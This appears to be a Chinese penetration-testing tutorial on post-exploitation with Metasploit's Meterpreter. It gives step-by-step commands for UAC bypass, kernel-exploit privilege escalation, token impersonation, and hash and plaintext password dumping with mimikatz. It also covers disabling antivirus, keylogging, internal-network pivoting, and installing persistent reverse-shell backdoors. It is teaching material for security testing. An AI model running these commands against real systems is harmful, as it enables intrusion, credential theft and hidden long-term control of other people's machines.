在對目標進行滲透測試的時候,通常情況下,我們首先獲得的是一台web服務器的webshell或者反彈shell,如果權限比較低,則需要進行權限提升;后續需要對系統進行全面的分析,搞清楚系統的用途;如果目標處於一個內網環境中,那么我們就需要通過它對內網的其它終端進行信息收集和滲透測試,更全面地挖掘系統中存在的安全隱患。
本期安仔課堂,ISEC實驗室的向老師為大家介紹如何使用MSF進行后滲透測試。
一、獲取Meterpreter會話
Meterpreter 是msf的一個payload,目標執行之后,我們會得到一個會話,和常見的shell會話類似,但是它的功能更加強大,它是執行后滲透測試的實施通道。
1.直接獲取
(1) 使用msfvenom生成payload
常用命令:
(2)本地監聽
監聽需要用到msf的exploit/multi/handler模塊,使用show options查看需要設置的參數。重要的參數有三個:監聽使用的payload、本地ip、本地監聽端口。這些參數的值跟之前msfvenom使用的參數一樣。
(3)獲得會話
將生成的exe文件或者其它類型的payload文件在目標上執行,就可以獲得一個meterpreter會話,之后就可以使用msf開展后滲透測試的相關工作。
2.cmdshell升級為meterpreter
如果最開始獲取的是cmdshell,后來發現這台機器非常適合作為測試其它終端的跳板,這個時候cmdshell的功能已經不能滿足需要,升級成meterpreter就十分有必要。
(1)以ms17-010的利用為例,默認使用的payload返回的就是cmdshell
(2)將該cmdshell升級成meterpreter
命令:sessions-ucmdshell的id
(3)查看是否升級成功
二、提權
通常webshell的權限都比較低,能夠執行的操作有限,沒法查看重要文件、修改系統信息、抓取管理員密碼和hash、安裝特殊程序等,所以我們需要獲取系統更高的權限。
1.繞過UAC
用戶帳戶控制(UAC)是微軟在 Windows Vista 以后版本引入的一種安全機制,有助於防止對系統進行未經授權的更改。應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員專門給系統授予管理員級別的訪問權限。UAC 可以阻止未經授權的應用程序進行自動安裝,並防止無意中更改系統設置。
msf提供了如下幾個模塊幫助繞過UAC:
以exploit/windows/local/bypassuac_eventvwr為例,其它模塊的使用方法基本一致。
(1)首先需要在meterpreter下執行background命令讓當前會話保存到后台。
(2)使用sessions命令可以查看所有后台的會話,每個session對應一個id值,后面會經常用到。
(3)使用use exploit/windows/local/bypassuac_eventvwr命令進入該模塊,使用show options查看需要設置的參數。
(4)將參數session設置為1,直接運行exploit或者run命令,執行成功之后會返回一個新的meterpreter會話。
(5)使用getuid命令查看當前用戶,此時仍然是普通用戶,再使用getsystem命令就可以提升到system權限了。
2.利用系統漏洞提權
無論是linux還是windows都出過很多高危的漏洞,我們可以利用它們進行權限提升,比如windows系統的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了這些漏洞的利用模塊。
(1)使用search 補丁號進行搜索,就可以找到相關模塊,以ms13-081為例。
(2)使用use exploit/windows/local/ms13_081_track_popup_menu命令進入該模塊,使用show options命令查看需要設置的參數。
(3)使用set session 1命令設置后台的meterpreter會話id,再使用run命令運行,獲取的就是SYSTEM權限。
三、進程遷移
當meterpreter單獨作為一個進程運行時容易被發現,如果將它和系統經常運行的進程進行綁定,就能夠實現持久化。
1.查看當前會話的進程id
命令:getpid
2.查看目標運行的進程
命令:ps
3.綁定進程
命令:migratepid
四、令牌假冒
在用戶登錄windows操作系統時,系統都會給用戶分配一個令牌(Token),當用戶訪問系統資源時都會使用這個令牌進行身份驗證,功能類似於網站的session或者cookie。
msf提供了一個功能模塊可以讓我們假冒別人的令牌,實現身份切換,如果目標環境是域環境,剛好域管理員登錄過我們已經有權限的終端,那么就可以假冒成域管理員的角色。
1.查看當前用戶
圖20
2.使用use incognito命令進入該模塊
3.查看存在的令牌
命令:list_tokens-u
4.令牌假冒
命令:impersonate_token用戶名
注意用戶名的斜杠需要寫兩個。
5.查看是否成功切換身份
五、獲取憑證
在內網環境中,一個管理員可能管理多台服務器,他使用的密碼有可能相同或者有規律,如果能夠得到密碼或者hash,再嘗試登錄內網其它服務器,可能取得意想不到的效果。
1.使用meterpreter的run hashdump命令。
2.使用load mimikatz加載mimikatz模塊,再使用help mimikatz查看支持的命令。
3.使用wdigest命令獲取登錄過的用戶儲存在內存里的明文密碼。
六、操作文件系統
1.文件的基本操作
ls:列出當前路徑下的所有文件和文件夾。
pwd 或 getwd:查看當前路徑。
search:搜索文件,使用search -h查看幫助。
cat:查看文件內容,比如cat test.txt。
edit:編輯或者創建文件。和Linux系統的vm命令類似,同樣適用於目標系統是windows的情況。
rm:刪除文件。
cd:切換路徑。
mkdir:創建文件夾。
rmdir:刪除文件夾。
getlwd 或 lpwd:查看自己系統的當前路徑。
lcd:切換自己當前系統的目錄。
lls:顯示自己當前系統的所有文件和文件夾。
2.文件的上傳和下載
(1) upload
格式:upload本地文件路徑目標文件路徑
(2)download
格式:download 目標文件路徑 本地文件路徑
七、系統其它操作
1.關閉防病毒軟件
run killav
run post/windows/manage/killav
2.操作遠程桌面
run post/windows/manage/enable_rdp開啟遠程桌面
run post/windows/manage/enable_rdp username=test password=test添加遠程桌面的用戶(同時也會將該用戶添加到管理員組)
3.截屏
screenshot
4.鍵盤記錄
keyscan_start:開啟鍵盤記錄功能
keyscan_dump:顯示捕捉到的鍵盤記錄信息
keyscan_stop:停止鍵盤記錄功能
5.執行程序
execute -h 查看使用方法
-H:創建一個隱藏進程
-a:傳遞給命令的參數
-i:跟進程進行交互
-m:從內存中執行
-t:使用當前偽造的線程令牌運行進程
-s:在給定會話中執行進程
例:execute -f c:/temp/hello.exe
八、端口轉發和內網代理
1.portfwd
portfwd是meterpreter提供的端口轉發功能,在meterpreter下使用portfwd -h命令查看該命令的參數。
常用參數:
-l:本地監聽端口
-r:內網目標的ip
-p:內網目標的端口
上面命令執行之后,會將10.1.1.3的3389端口轉發到本地的2222端口。
2.pivot
pivot是msf最常用的代理,可以讓我們使用msf提供的掃描模塊對內網進行探測。
(1)首先需要在msf的操作界面下添加一個路由表。
添加命令:route add 內網ip 子網掩碼 session的id
打印命令:route print
路由添加成功之后就可以在msf里訪問10.1.1.0/24這個網段。
(2)建立socks代理。
如果其它程序需要訪問這個內網環境,就可以建立socks代理。
msf提供了3個模塊用來做socks代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a為例,查看需要設置的參數。
一共兩個參數:
SRVHOST:監聽的ip地址,默認為0.0.0.0,一般不需要更改。
SRVPORT:監聽的端口,默認為1080。
直接運行run命令,就可以成功創建一個socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier進行使用。
九、后門
Meterpreter的shell運行在內存中,目標重啟就會失效,如果管理員給系統打上補丁,那么就沒辦法再次使用exploit獲取權限,所以需要持久的后門對目標進行控制。
Msf提供了兩種后門,一種是metsvc(通過服務啟動),一種是persistence(支持多種方式啟動)。
1.metsvc
(1) 使用run metsvc -h查看幫助,一共有三個參數。
-A:安裝后門后,自動啟動exploit/multi/handler模塊連接后門
-h:查看幫助
-r:刪除后門
(2) 安裝后門
命令:run metsvc
命令運行成功后會在C:WindowsTEMP目錄下新建隨機名稱的文件夾,里面生成3個文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同時會新建一個服務,顯示名稱為Meterpreter,服務名稱為metsvc,啟動類型為”自動”,綁定在31337端口。
(3) 連接后門
使用exploit/multi/handler模塊,payload設置為windows/metsvc_bind_tcp,設置目標ip和綁定端口31337。
2.persistence
(1) 使用run persistence -h查看參數。
-A:安裝后門后,自動啟動exploit/multi/handler模塊連接后門
-L:自啟動腳本的路徑,默認為%TEMP%
-P:需要使用的payload,默認為windows/meterpreter/reverse_tcp
-S:作為一個服務在系統啟動時運行(需要SYSTEM權限)
-T:要使用的備用可執行模板
-U:用戶登陸時運行
-X:系統啟動時運行
-i:后門每隔多少秒嘗試連接服務端
-p:服務端監聽的端口
-r:服務端ip
(2) 生成后門
命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444
(3) 連接后門
使用exploit/multi/handler模塊,payload設置為windows/meterpreter/reverse_tcp,同時設置好服務端監聽ip和端口。